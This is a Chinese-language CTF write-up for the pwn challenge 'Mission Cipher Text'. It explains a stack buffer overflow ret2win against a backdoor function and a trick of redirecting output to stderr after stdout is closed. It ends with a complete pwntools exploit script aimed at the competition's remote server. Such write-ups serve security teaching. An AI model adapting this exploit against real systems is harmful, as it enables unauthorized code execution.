Mission Cipher Text
.png)
no canary,这意味着我们可以直接覆盖栈上的返回地址,no PIE,地址都是固定不变的。
main函数:
.png)
feedback函数:
.png)
首先我们在IDA中可以看到给了后门函数,然后看代码,我们看到main函数,就是选择进入哪个函数,我们再看feedback函数,这里存在一个明显的栈溢出,缓冲区只有32字节,我们可以输入256字节,那我们的思路就是简单的ret2win,但是有一个陷阱:
.png)
我们首先要知道:
当我们运行任何一个程序时Linux都会默认给这个程序准备好三个标准的文件描述符:
【0 (Standard Input - stdin): 标准输入。默认连接到你的键盘。read、scanf 等函数默认从这里读取数据。
1 (Standard Output - stdout): 标准输出。默认连接到你的终端屏幕。printf、puts 等函数默认向这里写入数据。
2 (Standard Error - stderr): 标准错误。默认也连接到你的终端屏幕。它专门用来输出错误或诊断信息。】
这里再read前执行了close(1),也就是把我们的标准输出给关闭了,而我们在read之后覆盖返回地址执行system还是延续之前的文件描述符状态,那这会导致什么状况呢?我们来试一下,以输入指令ls为例:
.png)
这是为什么呢,我们来看看执行的过程:输入 ls----> ls命令执行,并尝试把它找到的文件列表写入到 stdout (1),因为这是它的默认输出位置 ----> ls 尝试写入 fd 1,但系统发现 fd 1 是一个已关闭的、无效的描述符,所以 write 系统调用失败,并返回一个错误码 EBADF ---->我的的 shell 把这个系统错误翻译成你看到的文字:“写入错误: 错误的文件描述符”。
那我们该怎么办呢,我们看stderr(上面介绍过),既然ls默认输出位置fd1关闭了,那我们让ls输出到fd2不也能输出出来让我们看到吗,那我们就可以用”>&2“把ls的写入重定向到fd2。
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p = process('./pwn')
p = remote('geek.ctfplus.cn',30627)
# 进入feedback函数
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'Please enter your feedback:')
backdoor_addr = 0x4014ab
ret = 0x40101a
# 注意64位要栈对齐
payload = b'A' * 40
payload += p64(ret)
payload += p64(backdoor_addr)
p.send(payload)
# 发送命令将输出重定向到标准错误
p.sendline(b'cat flag >&2')
p.interactive()题目链接:
CTF-Writeups/第十六届极客大挑战/Mission Cipher Text at main · ZenDuk17/CTF-Writeups